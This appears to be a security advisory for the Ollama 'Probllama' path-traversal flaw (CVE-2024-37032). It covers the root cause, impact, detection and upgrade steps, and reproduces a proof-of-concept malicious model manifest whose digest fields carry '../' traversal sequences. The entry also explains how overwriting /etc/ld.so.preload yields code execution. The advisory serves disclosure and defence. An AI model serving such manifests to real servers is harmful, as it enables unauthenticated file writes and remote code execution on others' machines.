Ollama Model Pull Path Traversal RCE (Probllama)

aka Probllama

Product: Ollama Ollama
CVE: CVE-2024-37032
Disclosed: 2024-05-31
CVSS: 8.8
Auth: pre-auth
CISA KEV: no
Affected: Ollama < 0.1.34
Fixed: 0.1.34

Summary

Wiz found that Ollama trusted the digest values in model manifests pulled from a registry. A malicious registry could write files anywhere on disk and turn that into code execution. Docker deployments expose the API with no authentication.

Root cause

When pulling a model, Ollama used the manifest's layer 'digest' to build the blob file path without validating that it was a 64-hex sha256 value. A digest like '../../../../etc/ld.so.preload' traverses out of the models directory, giving arbitrary file write (and read via push). Overwriting /etc/ld.so.preload with a path to a malicious shared library yields code execution.

Impact

Unauthenticated remote code execution on exposed Ollama servers (root in the official Docker image).

Public PoC

// Malicious manifest served by an attacker registry, pulled via
// POST http://[victim]:11434/api/pull
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": { "digest": "../../../../../../../../../../../../../../../../../../../traversal" },
  "layers": [
    { "digest": "../../../../../../../../../../../../../../../../../../../../../traversal" }
  ]
}

Source: Wiz Research - Probllama

Detection

Check /api/version for < 0.1.34; watch for /api/pull requests naming untrusted registries with insecure=true.

Mitigation

Upgrade to 0.1.34 or later and put the Ollama API (port 11434) behind authentication or a reverse proxy.